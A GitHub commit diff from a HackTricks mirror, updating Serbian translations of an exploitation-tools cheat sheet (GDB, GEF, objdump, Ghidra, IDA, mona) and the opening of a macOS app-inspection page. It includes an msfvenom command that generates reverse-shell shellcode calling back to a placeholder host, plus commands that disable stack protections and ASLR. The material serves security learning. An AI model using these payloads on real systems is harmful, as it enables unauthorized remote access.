mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['exploiting/tools/README.md', 'macos-hardening/macos-securit
This commit is contained in:
parent
967ec4b153
commit
9a8245eccf
3 changed files with 315 additions and 361 deletions
|
@ -1,19 +1,20 @@
|
||||||
|
# Alati za iskorišćavanje
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Drugi načini podrške HackTricks-u:
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
## Metasploit
|
||||||
# Metasploit
|
|
||||||
```
|
```
|
||||||
pattern_create.rb -l 3000 #Length
|
pattern_create.rb -l 3000 #Length
|
||||||
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
|
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
|
||||||
|
@ -21,116 +22,94 @@ nasm_shell.rb
|
||||||
nasm> jmp esp #Get opcodes
|
nasm> jmp esp #Get opcodes
|
||||||
msfelfscan -j esi /opt/fusion/bin/level01
|
msfelfscan -j esi /opt/fusion/bin/level01
|
||||||
```
|
```
|
||||||
## Shellkodovi
|
### Shellkodovi
|
||||||
|
|
||||||
Shellkodovi su male programske jedinice koje se koriste u hakiranju kako bi se iskoristile ranjivosti softvera i preuzela kontrola nad ciljanim sistemom. Shellkodovi su obično napisani u mašinskom jeziku i dizajnirani su da se izvršavaju direktno na ciljnom sistemu. Ovi kodovi često sadrže zlonamerne funkcionalnosti kao što su preuzimanje daljinskog pristupa, izvršavanje komandi i manipulacija fajlovima.
|
|
||||||
|
|
||||||
Shellkodovi se često koriste u procesu eksploatacije ranjivosti kako bi se omogućilo daljinsko izvršavanje koda na ciljnom sistemu. Kada se ranjivost iskoristi, shellkod se ubacuje u ciljni sistem i izvršava se kako bi se ostvarila željena funkcionalnost. Shellkodovi mogu biti dizajnirani da rade na različitim platformama i arhitekturama, kao što su Windows, Linux, x86, x64, ARM itd.
|
|
||||||
|
|
||||||
Postoji nekoliko alata koji se koriste za generisanje shellkodova, kao što su Metasploit Framework, msfvenom i Shellter. Ovi alati omogućavaju hakere da generišu shellkodove koji su prilagođeni specifičnim ranjivostima i ciljnim sistemima. Kada se generiše shellkod, on se obično enkodira kako bi se izbeglo otkrivanje antivirusnim programima i IDS sistemima.
|
|
||||||
|
|
||||||
Shellkodovi su moćno oružje u arsenalu hakera i mogu se koristiti za izvršavanje različitih zlonamernih aktivnosti. Međutim, važno je napomenuti da je korišćenje shellkodova za neovlašćeni pristup ili oštećenje sistema ilegalno i može imati ozbiljne pravne posledice. Shellkodovi se trebaju koristiti samo u okviru zakonitih aktivnosti, kao što su etičko hakovanje i testiranje bezbednosti.
|
|
||||||
```
|
```
|
||||||
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||||||
```
|
```
|
||||||
# GDB
|
## GDB
|
||||||
|
|
||||||
## Instalacija
|
### Instalacija
|
||||||
|
|
||||||
Da biste instalirali GDB na vašem sistemu, pratite sledeće korake:
|
|
||||||
|
|
||||||
### Linux
|
|
||||||
|
|
||||||
1. Otvorite terminal.
|
|
||||||
2. Pokrenite sledeću komandu:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
sudo apt-get install gdb
|
|
||||||
```
|
|
||||||
|
|
||||||
### macOS
|
|
||||||
|
|
||||||
1. Otvorite terminal.
|
|
||||||
2. Pokrenite sledeću komandu:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
brew install gdb
|
|
||||||
```
|
|
||||||
|
|
||||||
### Windows
|
|
||||||
|
|
||||||
1. Preuzmite instalacioni fajl sa [GDB sajta](https://www.gnu.org/software/gdb/download/).
|
|
||||||
2. Pokrenite instalacioni fajl i pratite uputstva za instalaciju.
|
|
||||||
|
|
||||||
Nakon uspešne instalacije, GDB će biti dostupan na vašem sistemu i možete ga koristiti za debagovanje i analizu programa.
|
|
||||||
```
|
```
|
||||||
apt-get install gdb
|
apt-get install gdb
|
||||||
```
|
```
|
||||||
## Parametri
|
### Parametri
|
||||||
|
|
||||||
**-q** --> Ne prikazuj baner\
|
|
||||||
**-x \<file>** --> Automatski izvrši GDB instrukcije iz ovog fajla\
|
|
||||||
**-p \<pid>** --> Poveži se sa procesom
|
|
||||||
|
|
||||||
### Instrukcije
|
|
||||||
|
|
||||||
\> **disassemble main** --> Rastavi funkciju\
|
|
||||||
\> **disassemble 0x12345678**\
|
|
||||||
\> **set disassembly-flavor intel**\
|
|
||||||
\> **set follow-fork-mode child/parent** --> Prati kreirane procese\
|
|
||||||
\> **p system** --> Pronađi adresu funkcije system\
|
|
||||||
\> **help**\
|
|
||||||
\> **quit**
|
|
||||||
|
|
||||||
\> **br func** --> Dodaj prekidnu tačku na funkciju\
|
|
||||||
\> **br \*func+23**\
|
|
||||||
\> **br \*0x12345678**\
|
|
||||||
**> del NUM** --> Obriši tu broj prekidnih tačaka\
|
|
||||||
\> **watch IZRAZ** --> Prekini ako se vrednost promeni
|
|
||||||
|
|
||||||
**> run** --> Izvrši\
|
|
||||||
**> start** --> Pokreni i prekini u main funkciji\
|
|
||||||
\> **n/next** --> Izvrši sledeću instrukciju (ne ulazi unutar funkcije)\
|
|
||||||
\> **s/step** --> Izvrši sledeću instrukciju\
|
|
||||||
\> **c/continue** --> Nastavi do sledeće prekidne tačke
|
|
||||||
|
|
||||||
\> **set $eip = 0x12345678** --> Promeni vrednost $eip\
|
|
||||||
\> **info functions** --> Informacije o funkcijama\
|
|
||||||
\> **info functions func** --> Informacije o funkciji\
|
|
||||||
\> **info registers** --> Vrednost registara\
|
|
||||||
\> **bt** --> Stog\
|
|
||||||
\> **bt full** --> Detaljan stog
|
|
||||||
|
|
||||||
\> **print promenljiva**\
|
|
||||||
\> **print 0x87654321 - 0x12345678** --> Izračunaj\
|
|
||||||
\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Prikazuje sadržaj u oktalnom/hexadecimalnom/10/binarnom/instrukcijskom/ascii formatu
|
|
||||||
|
|
||||||
* **x/o 0xDir\_hex**
|
|
||||||
* **x/2x $eip** --> 2 reči od EIP-a
|
|
||||||
* **x/2x $eip -4** --> $eip - 4
|
|
||||||
* **x/8xb $eip** --> 8 bajtova (b-> bajt, h-> 2 bajta, w-> 4 bajta, g-> 8 bajta)
|
|
||||||
* **i r eip** --> Vrednost $eip-a
|
|
||||||
* **x/w pointer** --> Vrednost pokazivača
|
|
||||||
* **x/s pointer** --> String na koji pokazuje pokazivač
|
|
||||||
* **x/xw \&pointer** --> Adresa na kojoj se nalazi pokazivač
|
|
||||||
* **x/i $eip** —> Instrukcije EIP-a
|
|
||||||
|
|
||||||
## [GEF](https://github.com/hugsy/gef)
|
|
||||||
```bash
|
```bash
|
||||||
|
-q # No show banner
|
||||||
|
-x <file> # Auto-execute GDB instructions from here
|
||||||
|
-p <pid> # Attach to process
|
||||||
|
```
|
||||||
|
### Uputstva
|
||||||
|
```bash
|
||||||
|
run # Execute
|
||||||
|
start # Start and break in main
|
||||||
|
n/next/ni # Execute next instruction (no inside)
|
||||||
|
s/step/si # Execute next instruction
|
||||||
|
c/continue # Continue until next breakpoint
|
||||||
|
p system # Find the address of the system function
|
||||||
|
set $eip = 0x12345678 # Change value of $eip
|
||||||
|
help # Get help
|
||||||
|
quit # exit
|
||||||
|
|
||||||
|
# Disassemble
|
||||||
|
disassemble main # Disassemble the function called main
|
||||||
|
disassemble 0x12345678 # Disassemble taht address
|
||||||
|
set disassembly-flavor intel # Use intel syntax
|
||||||
|
set follow-fork-mode child/parent # Follow child/parent process
|
||||||
|
|
||||||
|
# Breakpoints
|
||||||
|
br func # Add breakpoint to function
|
||||||
|
br *func+23
|
||||||
|
br *0x12345678
|
||||||
|
del <NUM> # Delete that number of breakpoint
|
||||||
|
watch EXPRESSION # Break if the value changes
|
||||||
|
|
||||||
|
# info
|
||||||
|
info functions --> Info abount functions
|
||||||
|
info functions func --> Info of the funtion
|
||||||
|
info registers --> Value of the registers
|
||||||
|
bt # Backtrace Stack
|
||||||
|
bt full # Detailed stack
|
||||||
|
print variable
|
||||||
|
print 0x87654321 - 0x12345678 # Caculate
|
||||||
|
|
||||||
|
# x/examine
|
||||||
|
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
|
||||||
|
x/o 0xDir_hex
|
||||||
|
x/2x $eip # 2Words from EIP
|
||||||
|
x/2x $eip -4 # $eip - 4
|
||||||
|
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
|
||||||
|
i r eip # Value of $eip
|
||||||
|
x/w pointer # Value of the pointer
|
||||||
|
x/s pointer # String pointed by the pointer
|
||||||
|
x/xw &pointer # Address where the pointer is located
|
||||||
|
x/i $eip # Instructions of the EIP
|
||||||
|
```
|
||||||
|
### [GEF](https://github.com/hugsy/gef)
|
||||||
|
```bash
|
||||||
|
help memory # Get help on memory command
|
||||||
|
canary # Search for canary value in memory
|
||||||
checksec #Check protections
|
checksec #Check protections
|
||||||
p system #Find system function address
|
p system #Find system function address
|
||||||
search-pattern "/bin/sh" #Search in the process memory
|
search-pattern "/bin/sh" #Search in the process memory
|
||||||
vmmap #Get memory mappings
|
vmmap #Get memory mappings
|
||||||
|
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
|
||||||
|
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
|
||||||
|
got #Check got table
|
||||||
|
memory watch $_got()+0x18 5 #Watch a part of the got table
|
||||||
|
|
||||||
#Shellcode
|
# Vulns detection
|
||||||
shellcode search x86 #Search shellcodes
|
format-string-helper #Detect insecure format strings
|
||||||
shellcode get 61 #Download shellcode number 61
|
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
|
||||||
|
|
||||||
#Patterns
|
#Patterns
|
||||||
pattern create 200 #Generate length 200 pattern
|
pattern create 200 #Generate length 200 pattern
|
||||||
pattern search "avaaawaa" #Search for the offset of that substring
|
pattern search "avaaawaa" #Search for the offset of that substring
|
||||||
pattern search $rsp #Search the offset given the content of $rsp
|
pattern search $rsp #Search the offset given the content of $rsp
|
||||||
|
|
||||||
|
#Shellcode
|
||||||
|
shellcode search x86 #Search shellcodes
|
||||||
|
shellcode get 61 #Download shellcode number 61
|
||||||
|
|
||||||
#Another way to get the offset of to the RIP
|
#Another way to get the offset of to the RIP
|
||||||
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
|
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
|
||||||
2- ef➤ i f
|
2- ef➤ i f
|
||||||
|
@ -145,11 +124,11 @@ gef➤ pattern search 0x6261617762616176
|
||||||
[+] Searching for '0x6261617762616176'
|
[+] Searching for '0x6261617762616176'
|
||||||
[+] Found at offset 184 (little-endian search) likely
|
[+] Found at offset 184 (little-endian search) likely
|
||||||
```
|
```
|
||||||
## Trikovi
|
### Trikovi
|
||||||
|
|
||||||
### GDB iste adrese
|
#### GDB iste adrese
|
||||||
|
|
||||||
Prilikom debagovanja, GDB će imati **nešto drugačije adrese od onih koje koristi binarni fajl prilikom izvršavanja.** Možete postići da GDB ima iste adrese tako što ćete uraditi sledeće:
|
Prilikom debagovanja, GDB će imati **nešto drugačije adrese od onih koje koristi binarni fajl prilikom izvršavanja.** Možete postaviti da GDB ima iste adrese tako što ćete uraditi sledeće:
|
||||||
|
|
||||||
* `unset env LINES`
|
* `unset env LINES`
|
||||||
* `unset env COLUMNS`
|
* `unset env COLUMNS`
|
||||||
|
@ -157,10 +136,10 @@ Prilikom debagovanja, GDB će imati **nešto drugačije adrese od onih koje kori
|
||||||
* Iskoristite binarni fajl koristeći istu apsolutnu putanju
|
* Iskoristite binarni fajl koristeći istu apsolutnu putanju
|
||||||
* `PWD` i `OLDPWD` moraju biti isti prilikom korišćenja GDB-a i prilikom iskorišćavanja binarnog fajla
|
* `PWD` i `OLDPWD` moraju biti isti prilikom korišćenja GDB-a i prilikom iskorišćavanja binarnog fajla
|
||||||
|
|
||||||
### Backtrace za pronalaženje pozvanih funkcija
|
#### Backtrace za pronalaženje pozvanih funkcija
|
||||||
|
|
||||||
Kada imate **statički povezan binarni fajl**, sve funkcije će pripadati binarnom fajlu (a ne eksternim bibliotekama). U ovom slučaju će biti teško **identifikovati tok kojim binarni fajl sledi, na primer, da traži unos korisnika**.\
|
Kada imate **statički povezan binarni fajl**, sve funkcije će pripadati binarnom fajlu (a ne spoljnim bibliotekama). U ovom slučaju će biti teško **identifikovati tok koji binarni fajl prati kako bi na primer zatražio korisnički unos**.\
|
||||||
Lako možete identifikovati ovaj tok tako što ćete **pokrenuti** binarni fajl sa **gdb** sve dok vas ne zatraži unos. Zatim ga zaustavite sa **CTRL+C** i koristite komandu **`bt`** (**backtrace**) da biste videli pozvane funkcije:
|
Ovaj tok možete lako identifikovati **pokretanjem** binarnog fajla sa **gdb** sve dok vas ne zatraže unos. Zatim ga zaustavite sa **CTRL+C** i koristite komandu **`bt`** (**backtrace**) da vidite pozvane funkcije:
|
||||||
```
|
```
|
||||||
gef➤ bt
|
gef➤ bt
|
||||||
#0 0x00000000004498ae in ?? ()
|
#0 0x00000000004498ae in ?? ()
|
||||||
|
@ -169,34 +148,34 @@ gef➤ bt
|
||||||
#3 0x00000000004011a9 in ?? ()
|
#3 0x00000000004011a9 in ?? ()
|
||||||
#4 0x0000000000400a5a in ?? ()
|
#4 0x0000000000400a5a in ?? ()
|
||||||
```
|
```
|
||||||
## GDB server
|
### GDB server
|
||||||
|
|
||||||
`gdbserver --multi 0.0.0.0:23947` (u IDA morate popuniti apsolutnu putanju izvršnog fajla na Linux mašini i na Windows mašini)
|
`gdbserver --multi 0.0.0.0:23947` (u IDA morate popuniti apsolutnu putanju izvršnog fajla na Linux mašini i na Windows mašini)
|
||||||
|
|
||||||
# Ghidra
|
## Ghidra
|
||||||
|
|
||||||
## Pronalaženje offseta steka
|
### Pronalaženje offseta steka
|
||||||
|
|
||||||
**Ghidra** je veoma korisna za pronalaženje **offseta** za **preplavljivanje bafera zahvaljujući informacijama o poziciji lokalnih promenljivih.**\
|
**Ghidra** je veoma koristan za pronalaženje **offseta** za **preplavljivanje bafera zahvaljujući informacijama o poziciji lokalnih promenljivih.**\
|
||||||
Na primer, u primeru ispod, preplavljivanje bafera u `local_bc` ukazuje da vam je potreban offset od `0xbc`. Osim toga, ako je `local_10` kolačić kanara, to ukazuje da postoji offset od `0xac` za prepisivanje iz `local_bc`.\
|
Na primer, u primeru ispod, preplavljivanje bafera u `local_bc` ukazuje da je potreban offset od `0xbc`. Osim toga, ako je `local_10` kolačić kanarina, to ukazuje da je potreban offset od `0xac` da bi se prepisao iz `local_bc`.\
|
||||||
_Zapamtite da prva 0x08 odakle se RIP čuva pripada RBP-u._
|
_Zapamtite da prvih 0x08 gde je RIP sačuvan pripada RBP._
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (616).png>)
|
![](<../../.gitbook/assets/image (616).png>)
|
||||||
|
|
||||||
# GCC
|
## GCC
|
||||||
|
|
||||||
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompajliranje bez zaštite\
|
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompajliranje bez zaštite\
|
||||||
**-o** --> Izlaz\
|
**-o** --> Izlaz\
|
||||||
**-g** --> Sačuvaj kod (GDB će moći da ga vidi)\
|
**-g** --> Sačuvaj kod (GDB će moći da ga vidi)\
|
||||||
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Deaktiviranje ASLR-a u Linuxu
|
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Deaktiviranje ASLR u Linuxu
|
||||||
|
|
||||||
**Za kompajliranje shell koda:**\
|
**Za kompajliranje shell koda:**\
|
||||||
**nasm -f elf assembly.asm** --> vraća ".o"\
|
**nasm -f elf assembly.asm** --> vraća ".o"\
|
||||||
**ld assembly.o -o shellcodeout** --> Izvršni fajl
|
**ld assembly.o -o shellcodeout** --> Izvršno
|
||||||
|
|
||||||
# Objdump
|
## Objdump
|
||||||
|
|
||||||
**-d** --> **Razmontiraj izvršne** sekcije (vidi opkode kompajliranog shell koda, pronađi ROP Gadžete, pronađi adresu funkcije...)\
|
**-d** --> **Razmontiraj izvršne** sekcije (vidi op-kodove kompajliranog shell koda, pronađi ROP Gadžete, pronađi adresu funkcije...)\
|
||||||
**-Mintel** --> **Intel** sintaksa\
|
**-Mintel** --> **Intel** sintaksa\
|
||||||
**-t** --> **Tabela simbola**\
|
**-t** --> **Tabela simbola**\
|
||||||
**-D** --> **Razmontiraj sve** (adresa statičke promenljive)\
|
**-D** --> **Razmontiraj sve** (adresa statičke promenljive)\
|
||||||
|
@ -204,35 +183,35 @@ _Zapamtite da prva 0x08 odakle se RIP čuva pripada RBP-u._
|
||||||
**-s -j .got** --> got sekcija\
|
**-s -j .got** --> got sekcija\
|
||||||
\-D -s -j .plt --> **plt** sekcija **dekompilirana**\
|
\-D -s -j .plt --> **plt** sekcija **dekompilirana**\
|
||||||
**-TR** --> **Relokacije**\
|
**-TR** --> **Relokacije**\
|
||||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresa "puts" za izmenu u GOT-u\
|
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresa "puts" za modifikaciju u GOT\
|
||||||
**objdump -D ./exec | grep "VAR\_NAME"** --> Adresa ili statičke promenljive (one se čuvaju u DATA sekciji).
|
**objdump -D ./exec | grep "VAR\_NAME"** --> Adresa statičke promenljive (one su smeštene u DATA sekciji).
|
||||||
|
|
||||||
# Core dumpovi
|
## Core dumps
|
||||||
|
|
||||||
1. Pokrenite `ulimit -c unlimited` pre pokretanja mog programa
|
1. Pokrenite `ulimit -c unlimited` pre pokretanja mog programa
|
||||||
2. Pokrenite `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
2. Pokrenite `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
||||||
3. sudo gdb --core=\<putanja/core> --quiet
|
3. sudo gdb --core=\<putanja/core> --quiet
|
||||||
|
|
||||||
# Više
|
## Više
|
||||||
|
|
||||||
**ldd executable | grep libc.so.6** --> Adresa (ako je ASLR, onda se menja svaki put)\
|
**ldd executable | grep libc.so.6** --> Adresa (ako je ASLR, onda se menja svaki put)\
|
||||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Petlja za proveru da li se adresa mnogo menja\
|
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Petlja za proveru da li se adresa često menja\
|
||||||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset "system" funkcije\
|
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset "system"\
|
||||||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset "/bin/sh"
|
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset "/bin/sh"
|
||||||
|
|
||||||
**strace executable** --> Funkcije pozvane od strane izvršnog fajla\
|
**strace executable** --> Funkcije pozvane od strane izvršnog fajla\
|
||||||
**rabin2 -i ejecutable -->** Adresa svih funkcija
|
**rabin2 -i ejecutable -->** Adresa svih funkcija
|
||||||
|
|
||||||
# **Inmunity debugger**
|
## **Inmunity debugger**
|
||||||
```bash
|
```bash
|
||||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||||
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
|
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
|
||||||
```
|
```
|
||||||
# IDA
|
## IDA
|
||||||
|
|
||||||
## Debagovanje na udaljenom Linuxu
|
### Debagovanje na udaljenom Linuxu
|
||||||
|
|
||||||
Unutar IDA foldera možete pronaći binarne datoteke koje se mogu koristiti za debagovanje binarnih datoteka na Linuxu. Da biste to uradili, premestite binarnu datoteku _linux\_server_ ili _linux\_server64_ na Linux server i pokrenite je unutar foldera koji sadrži binarnu datoteku:
|
Unutar IDA foldera možete pronaći binarne datoteke koje se mogu koristiti za debagovanje binarne datoteke unutar Linuxa. Da biste to uradili, premestite binarnu datoteku _linux\_server_ ili _linux\_server64_ unutar Linux servera i pokrenite je unutar foldera koji sadrži binarnu datoteku:
|
||||||
```
|
```
|
||||||
./linux_server64 -Ppass
|
./linux_server64 -Ppass
|
||||||
```
|
```
|
||||||
|
@ -240,17 +219,16 @@ Zatim, konfigurišite debager: Debager (udaljeni Linux) --> Opcije procesa...:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (101).png>)
|
![](<../../.gitbook/assets/image (101).png>)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Drugi načini podrške HackTricks-u:
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks suveniri**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# macOS Aplikacije - Inspekcija, debagovanje i Faziranje
|
# macOS Aplikacije - Inspekcija, debugovanje i Faziranje
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -6,15 +6,15 @@
|
||||||
|
|
||||||
Drugi načini podrške HackTricks-u:
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Statička Analiza
|
## Statistička Analiza
|
||||||
|
|
||||||
### otool
|
### otool
|
||||||
```bash
|
```bash
|
||||||
|
@ -32,11 +32,9 @@ objdump -m --full-contents /bin/ls # Dump every section
|
||||||
objdump -d /bin/ls # Dissasemble the binary
|
objdump -d /bin/ls # Dissasemble the binary
|
||||||
objdump --disassemble-symbols=_hello --x86-asm-syntax=intel toolsdemo #Disassemble a function using intel flavour
|
objdump --disassemble-symbols=_hello --x86-asm-syntax=intel toolsdemo #Disassemble a function using intel flavour
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
### jtool2
|
### jtool2
|
||||||
|
|
||||||
Ovaj alat se može koristiti kao **zamena** za **codesign**, **otool** i **objdump**, i pruža nekoliko dodatnih funkcija. [**Preuzmite ga ovde**](http://www.newosxbook.com/tools/jtool.html) ili ga instalirajte pomoću `brew` komande.
|
Ovaj alat može se koristiti kao **zamena** za **codesign**, **otool**, i **objdump**, i pruža nekoliko dodatnih funkcija. [**Preuzmite ga ovde**](http://www.newosxbook.com/tools/jtool.html) ili ga instalirajte pomoću `brew`.
|
||||||
```bash
|
```bash
|
||||||
# Install
|
# Install
|
||||||
brew install --cask jtool2
|
brew install --cask jtool2
|
||||||
|
@ -53,10 +51,10 @@ ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Autom
|
